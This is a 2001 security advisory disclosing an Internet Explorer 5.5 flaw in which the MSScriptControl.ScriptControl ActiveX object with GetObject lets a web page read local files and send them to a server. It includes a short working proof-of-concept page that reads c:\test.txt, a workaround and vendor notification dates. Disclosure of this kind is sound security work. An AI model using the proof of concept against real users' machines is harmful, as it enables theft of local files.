Georgi Guninski security advisory #41, 2001
Security bug in Internet Explorer - MSScriptControl.ScriptControl
Systems affected:
IE 5.5 Win2K (probably others versions/platforms, have not tested)
Risk: High
Date: 31 March 2001
Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.
Disclaimer:
The information in this advisory is believed to be true based on experiments though it
may be false.
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or
program or
any derivatives thereof.
Description:
By visiting a web page with IE it is possible to read arbitrary local files (in very
rare
cases small amount of the file's content is lost) if the file name is known and send
them to
an arbitrary server.
It is also possible to read arbitrary web pages to which the victim has access.
Probably this bug may be more serious, have not investigated further - an interesting
scenario seems to be
playing with
C:\Documents and Settings\USERNAME\Local Settings\Temporary Internet
Files\Content.IE5\index.dat.
which probably may lead to executing arbitrary programs.
Details:
The problem seems to be the ActiveX object "MSScriptControl.ScriptControl" in
combination with
GetObject.
Examine the code below for more details.
--------------------------------------------------------------------
<html>
<h2>
Written by Georgi Guninski.
<br>
Reads c:\test.txt
<br>
</h2>
<script>
alert("This script reads C:\\TEST.TXT\nYou may need to create it\n")
v=new ActiveXObject("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
x=v.eval('GetObject("c:/test.txt","htmlfile")');
setTimeout("alert(x.body.outerHTML);",2000);
</script>
</html>
--------------------------------------------------------------------
Workaround: To solve this particular issue disable Active Scripting, though I do not
recommend using IE for browsing
the Internet because this is dangerous.
Demonstration:
http://www.guninski.com/scractxdemo.html
Vendor status:
Microsoft was informed on 26 March 2001
Regards,
Georgi Guninski
http://www.guninski.com